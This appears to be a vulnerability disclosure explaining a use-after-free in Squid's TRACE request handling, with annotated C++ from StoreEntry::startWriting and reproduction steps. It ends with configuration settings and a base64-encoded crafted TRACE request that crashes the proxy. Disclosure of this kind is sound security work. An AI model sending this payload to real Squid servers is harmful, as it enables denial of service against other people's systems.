Just like GET, POST, HEAD, and others, RFC 7231 (HTTP/1.1) defines the TRACE method as an HTTP request method (verb) which is used for diagnosing HTTP requests. When the final destination server (rather than, say, an intermediate proxy server) receives a TRACE request, it should print out exactly the request it received.
The HTTP request header max-forwards
is also used with TRACE requests, and it defines how many intermediate servers may be used before the response is sent back. A value of 0 means that the first server must send back a response. For requests which use a max-forwards
value greater than 0, each intermediate server (should) de-increment the header by 1.
Squid is able to act as both an intermediate (max-forwards > 0
) and origin server (max-forwards = 0
) when it comes to TRACE requests.
When Squid acts as an origin server responding to a TRACE request (i.e. max-forwards = 0
), the response is handled in the function clientReplyContext::traceReply
. Effectively, this function creates a copy of the request as it received it, and creates a reply with that request. This reply is then passed to StoreEntry::replaceHttpReply
, which also passed the reply to StoreEntry::startWriting
, to update the local storage with the reply.
However, StoreEntry::startWriting
calls the function StoreEntry::flush
, which may free this entry and its associated memory in the case of some error occurring, such as the reply being too large due to, say, the configuration reply_body_max_size
. The reply contains a url-encoded version of the URI requested, and as such, it is quite easy to reach an even high reply_body_max_size
limit to cause the memory to be freed.
In StoreEntry::startWriting
:
void
StoreEntry::startWriting()
{
…
flush(); <--- may free 'this'.
if (hittingRequiresCollapsing()) { <-- UaF
setCollapsingRequirement(false); <-- UaF
Store::Root().transientsClearCollapsingRequirement(*this); <-- UaF
}
}
If “nothing goes wrong” so-to-speak during the three lines of code highlighted, Squid will return all the way back to traceReply
, where the freed store entry will be passed to swapOut
: http->request->swapOut(http->storeEntry());
From here, another use-after-free happens: EBIT_SET(flags, DELAY_SENDING);
before finally, an assertion is likely to happen: assertion failed: store.cc:832: "store_status == STORE_PENDING"
.
In order to reproduce this issue, set in your Squid configuration:
max-forwards = 0
reply_body_max_size 1 KB
and send a request to Squid using the base64-encoded request:
dFJhY2UgaHR0cDovLzAwMDAwMDAwMIwwMDAwMDAwMFMgMDAwMD+srLmsMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDCsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKyyrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrDAwMKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysmKysrKysrKysrKys
rKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKys
rKysrKysrKysrKysrKwwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgSFRUUC8xLjAN
Ckhvc3Q6ClVzZXItQWdlbnQ6Cm1heC1mb3J3YXJkczowCgpACg==